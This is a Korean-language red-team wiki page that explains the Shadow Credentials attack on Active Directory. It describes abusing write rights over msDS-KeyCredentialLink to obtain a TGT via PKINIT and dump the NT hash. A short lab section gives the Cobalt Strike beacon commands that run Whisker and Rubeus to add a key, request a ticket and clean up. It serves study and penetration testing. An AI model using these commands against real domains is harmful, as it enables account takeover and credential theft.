Shadow Credentials

Kerberos 사전 인증 단계인 AS-REQ에서는 대칭키와 공개키 선택이 가능합니다. 공개키를 선택할 경우 TGT 세션 키는 사용자의 공개키로 암호화가 되기 때문에 패스워드 사용 없이도 TGS 세션 키 획득 및 ST 발행 요청이 가능합니다. KDC가 유저의 인증서로부터 기재된 공개키와 저장된 공개키의 일치 여부를 판단할 때 도메인 유저의 속성 중 msDS-KeyCredentialLink 속성에서 공개키를 가져옵니다.

장악한 사용자 계정에서 다른 사용자에 대해 GenericAll, GenericWrite, GenericOwner 등의 권한이 존재하여 사용자 공개키 속성을 변경할 수 있다면 개체의 msDA-KeyCredentialLink 속성에 공격자의 공개키를 등록하여 PKINIT을 통한 인증을 통과하여 TGT를 발급받고 발급받은 TGT로부터 TGS 요청에 따라 PAC 정보에서 NT Hash를 덤핑할 수 있습니다. 자세한 매커니즘은 How to get NT Hash를 참조하세요.

Practice

실습에 있어서 필요한 도구들을 다음 깃허브로부터 설치합니다.

실습 환경에서 wiki 사용자는 Administrator 계정에 대해 GenericAll 권한이 있습니다. pywhisker를 사용하여 타겟 사용자의 msDS-KeyCredentialLink 속성에 권한이 있는 wiki 사용자의 공개키를 등록합니다. 이때 등록하는 공개키는 별도로 제작할 필요 없이 -a 플래그로 'add' 모드를 사용하면 타겟 도메인의 wiki 사용자에 대한 pfx 인증서가 생성되고 공개키가 등록됩니다.

# 공격 후 정리를 위해 기존에 존재하는 키 열거
beacon> execute-assembly C:\Tools\Whisker.exe list /target:<Target>

# 키 추가
beacon> execute-assembly C:\Tools\Whisker.exe add /target:<Target>

# TGT 요청
beacon> execute-assembly C:\Tools\Rubeus.exe asktgt /user:<Target> /certificate:IJA[...]CBA /password:<PASS> /nowrap

# 생성한 키 정리
beacon> execute-assembly C:\Tools\Whisker.exe remove /target:<Target> /deviceid:<device ID>

References

Last updated

Was this helpful?